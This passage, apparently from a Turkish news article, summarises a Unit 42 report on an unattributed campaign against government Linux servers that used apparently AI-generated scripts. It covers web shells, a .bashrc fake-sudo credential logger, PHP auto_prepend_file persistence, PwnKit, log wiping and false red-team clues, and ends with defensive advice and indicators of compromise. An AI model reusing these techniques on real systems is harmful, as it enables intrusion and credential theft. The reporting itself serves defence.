Silmenin kontrolü. Saldırganlar temizlikten sonra silmenin işe yarayıp yaramadığını ayrı bir “doğrulama” betiğiyle kontrol etmeye çalıştı. Unit 42’ye göre bu betik, kullandıkları IP adreslerinin sistem kayıtlarından silinip silinmediğini kontrol ediyordu. Ekran görüntüsüne göre betik /var/log ve web sitelerinin kayıt dosyalarında hassas metinleri arıyor, betikte “bridge file”, yani köprü dosyası diye anılan bir config.php dosyasının hâlâ yerinde olup olmadığına bakıyor ve son olarak uptime, who ve last komutlarıyla sistemin durumunu ve son girişleri listeliyordu.

Bir delil panosu görünümünde altı kart. Kart 1, betiklerdeki sohbet havasında yapay zekâ notları. Kart 2, sahte sudo isteminin parolaları yazdığı /dev/shm/Solarwinds.StatusLog.txt dosyası, SolarWinds’in ele geçirildiğine dair kanıt yok. Kart 3, SysGoRAT’ın içine gömülü komuta adresi 104.194.158[.]65:443. Kart 4, kırmızı takım süsü: RedTeamOps2025 anahtarı ve pentest123 parolası. Kart 5, Unit 42’nin paylaştığı temizlik betiği parçasının son satırı TOTAL_EXTREME_CLEANUP_SUCCESS. Kart 6, Cortex XDR’ı kapatma girişimi engellendi. Altta, saldırganların kayıtları silmeye ve bunu ayrı bir betikle kontrol etmeye çalıştığı, rapordaki ekran görüntülerinin bir kısmının Cortex XDR görünümünden, bir kısmının saldırganların betiklerinden alındığı ve faaliyetin henüz bir ülkeye ya da bilinen bir gruba bağlanmadığı notu.

Araştırmacıların elindeki kanıtlar

Saldırganlar sunuculardaki kayıtları silmeye bu kadar emek verse de, Unit 42’nin raporu saldırının pek çok adımını belgeliyor. Unit 42 kanıtları nasıl topladığını raporda ayrıca anlatmıyor, ancak raporda kullanılan görüntüler bir fikir veriyor. Web shell üzerinden yapılan işlemleri, açık metin parola aramalarını, Python ile kurulan ters bağlantı girişimini, kayıt silme komutlarını ve kabuk geçmişini temizleme girişimi için üretilen uyarıyı gösteren ekran görüntüleri, Palo Alto Networks’ün Cortex XDR ürününün görünümünden alınmış. Unit 42’ye göre güvenlik yazılımını kapatma girişimleri de Cortex XDR tarafından tespit edilip engellendi.

Diğer görüntüler saldırganların kullandığı betiklerden: yapay zekâ notları taşıyan PHP betikleri, .bashrc dosyasındaki takma ad, temizlik ve doğrulama betikleri. Raporda SysGoRAT’ın komutları, kalıcılık yöntemleri ve gömülü komuta adresi de ayrıntılı olarak anlatılıyor. Unit 42 ayrıca incelemeyi Cortex AgentiX tabanlı Cortex Agentic Assistant ile hızlandırdığını, verileri doğal dille sorgulayabildiklerini belirtiyor.

Vakanın iki tarafında da yapay zekâ var. Saldırganlar betiklerini Unit 42’ye göre yapay zekâyla üretip kayıtları silmeye çalışırken, araştırmacılar da kanıtları yapay zekâ destekli bir asistanla sorguluyordu.

Atıf, neden bir isim yok

Unit 42 faaliyeti kendi atıf çerçevesine göre CL-UNK-1211 kümesine bağlıyor ve bu kümenin bir devlet destekli aktöre mi yoksa siber suç grubuna mı ait olduğunu henüz belirleyemediğini açıkça yazıyor. Raporda saldırganların belirli bir ülkeyle ya da daha önce bilinen bir grupla bağlantısına dair bir değerlendirme yok.

Rapordaki araçların büyük kısmı açık kaynaklı ve herkesin kullanabildiği araçlar: GitHub’daki web shell’ler, LinPEAS, PwnKit, revsocks, pysoxy, Global Socket. Kendi geliştirdikleri SysGoRAT ve React2Shell tarayıcısı da raporda başka bir kampanyayla ilişkilendirilmiyor. Saldırganlar ayrıca SolarWinds adını taşıyan bir kayıt dosyası ve kırmızı takım görüntüsü veren anahtarlar ve parolalarla kasıtlı olarak yanlış izler bıraktı.

Kampanyayı 2 Kasım’da haberleştiren The Hacker News, raporu Google Tehdit İstihbaratı Grubu (GTIG), Mandiant ve Microsoft’un saldırganların ARTEX gibi açık kaynaklı, ajan tabanlı (agentic) sızma testi çerçevelerini kötüye kullandığına dair bulgularıyla birlikte ele aldı. Unit 42’nin raporunda ise CL-UNK-1211’in bu çerçevelerden herhangi birini kullandığına dair bir bilgi yer almıyor.

Hâlâ bilinmeyenler

Unit 42’nin raporu teknik açıdan ayrıntılı, ancak bazı temel soruların yanıtı raporda yok:

  • Kurbanlar: Hangi ülkelerin hangi kurumlarının hedef alındığı ve kaç kurumun etkilendiği belirtilmiyor.
  • İlk erişim: Unit 42 web shell yerleştirmeyi ilk erişim yöntemi olarak anlatıyor, ancak ilk web shell’in hangi açıkla ya da yöntemle bırakıldığı raporda yer almıyor.
  • Veri çıkarma: Veritabanı dökümlerinin ve e-postaların dışarı çıkarılıp çıkarılamadığı, hangi verilerin çalındığı belirtilmiyor.
  • Sosyal medya hesapları: Saldırganların e-postalarda aradığı sosyal medya hesaplarına erişip erişemedikleri bilinmiyor.
  • Yapay zekâ aracı: Hangi dil modelinin ya da yapay zekâ ajanının kullanıldığı raporda yer almıyor.
  • Saldırganlar: Faaliyetin kime ait olduğu belirlenmiş değil.

Savunma için çıkarılacak dersler

Unit 42 raporunu, Linux sunucularına, veritabanlarına ve ortamlara kapsamlı görünürlüğün saldırganların çabalarına karşı koymak için kritik olduğu vurgusuyla bitiriyor. İlk madde Unit 42’nin doğrudan önerisi, diğerleri rapordaki tekniklerden çıkardığımız dersler:

  • Dışarıya giden bağlantıları kısıtlayın. Unit 42, ters bağlantı tekniklerine karşı dışarıya giden trafik için sıkı güvenlik duvarı kuralları uygulanmasını ve standart sistem araçlarının etkileşimli kabuk başlatmasını uç nokta tespitiyle izlemeyi öneriyor. Bu vakada saldırganlar netcat, bash ve Python ile en az yedi ayrı sunucuya ters bağlantı kurmaya çalıştı.
  • Sunucudaki kayıt dosyalarına tek başına güvenmeyin. Bu vakada saldırganlar sunucudaki kayıtları silmeye ve bunu ayrı bir betikle kontrol etmeye çalıştı. Rapordaki ekran görüntülerinin bir kısmı ise uç nokta güvenliği ürününün görünümünden alınmış.
  • PHP yapılandırmasını kontrol edin. Saldırganlar auto_prepend_file ayarıyla, sunucudaki her PHP sayfasından önce kendi dosyalarının çalışmasını sağladı. Unit 42’ye göre bu değişiklik /etc/php/ ve /opt/plesk/php/ altındaki bütün yapılandırma dosyalarında yapıldı.
  • Kabuk başlangıç dosyalarına bakın. Sahte sudo istemi, kullanıcının .bashrc dosyasına eklenen bir takma adla çalışıyordu. Unit 42’nin paylaştığı koda göre parolalar /dev/shm altındaki bir dosyaya yazılıyordu.
  • Eski yetki yükseltme açıklarını kapatın. Saldırganlar root yetkisi için 2022’de duyurulan ve KEV listesinde bulunan CVE-2021-4034 için hazır bir istismar aracı kullanmaya çalıştı.
  • Yapılandırma dosyalarındaki ve komut geçmişindeki parolaları kaldırın. Saldırganlar yapılandırma dosyalarında ve komut geçmişinde açık metin parola aradı, iç ağda ilerlemek için de sshpass ile sabit yazılmış yönetici parolası kullandı.
  • Veritabanı sunucularında xp_cmdshell’i izleyin. Saldırganlar iç ağdaki bir MSSQL sunucusunda bu özelliği açarak sunucular arasında komut taşıdı.
  • Kırmızı takım izine güvenmeyin. Bir sistemde RedTeamOps2025 ya da pentest123 gibi bir tatbikatı akla getiren izler bulunması, olayın yetkili bir test olduğu anlamına gelmiyor. Bu vakada saldırganlar bu izleri bilerek bıraktı.

Saldırı izleri

Unit 42’nin paylaştığı tehdit göstergeleri aşağıda. Adresler, yanlışlıkla tıklanmaması için köşeli parantezle yazıldı.

Dosyalar (SHA-256):

  • CVE-2025-55182 (React2Shell) tarayıcısı:
    • 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e
    • 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704
    • d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd
    • 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e
  • Yetki yükseltme için özel kabuk arka kapısı: c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343
  • GSocket ters bağlantı aracı: d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa
  • CVE-2021-4034 (PwnKit) dosyası: 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
  • PHP web shell’leri:
    • 1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a
    • 76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5
    • b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac

IP adresleri: 45.88.188[.]140, 198.23.185[.]234, 138.68.244[.]146, 185.21.136[.]6, 72.61.89[.]179, 104.194.158[.]65, 109.224.53[.]140, 162.243.175[.]162, 154.93.37[.]228, 141.164.58[.]87, 88.80.150[.]232, 88.119.167[.]57, 173.212.247[.]23, 104.248.131[.]53, 147.182.224[.]216, 93.93.112[.]57, 192.210.183[.]17

Alan adları: magento[.]ink, solidmonpe[.]com, wibu-bau-bawang[.]online, beraskencur[.]site

Rapor metninde geçen dosya adları ve yollar (Unit 42’nin gösterge listesinde yer almıyor):

  • SysGoRAT: sys-control-client, pip2.7, ea_install, semanage
  • SysGoRAT kalıcılığı: /etc/systemd/system/sys-update.service, %APPDATA%\Onedrive Update\Updater.exe, Onedrive adlı zamanlanmış görev
  • Web shell: /usr/lib/php/plesk_sys_driver.php
  • Parola kayıt dosyası: /dev/shm/Solarwinds.StatusLog.txt
  • Root yetkisi için bırakılan dosyalar: .libpython-helper, .libsystemd-helper, .tourch
  • Global Socket: /dev/shm/.gs-10085/, [kcached] ve gs-dbus süreç adları
  • Betikler ve dökümler: search_social.php, zip_mails.sh, /tmp/dump.sqlite

Rapor metninde geçen, veri çıkarma girişimlerinde kullanılan meşru hizmetler: transfer[.]sh, bashupload[.]com, filebin[.]net, catbox[.]moe

Rapor metninde geçen Global Socket aktarma sunucusu: gsocket[.]io

Kaynaklar

  1. Unit 42 (Palo Alto Networks), "AI-Powered Espionage Campaign Targets Government Linux Infrastructure" (15 Ekim 2026)unit42.paloaltonetworks.com (başka siteye gider)
  2. The Hacker News, "Government Linux Servers Targeted With SysGoRAT and Suspected AI-Generated Scripts" (2 Kasım 2026)thehackernews.com (başka siteye gider)
  3. CVE kaydı, CVE-2025-55182cve.org (başka siteye gider)
  4. CVE kaydı, CVE-2021-4034cve.org (başka siteye gider)
  5. CISA, Known Exploited Vulnerabilities Catalogcisa.gov (başka siteye gider)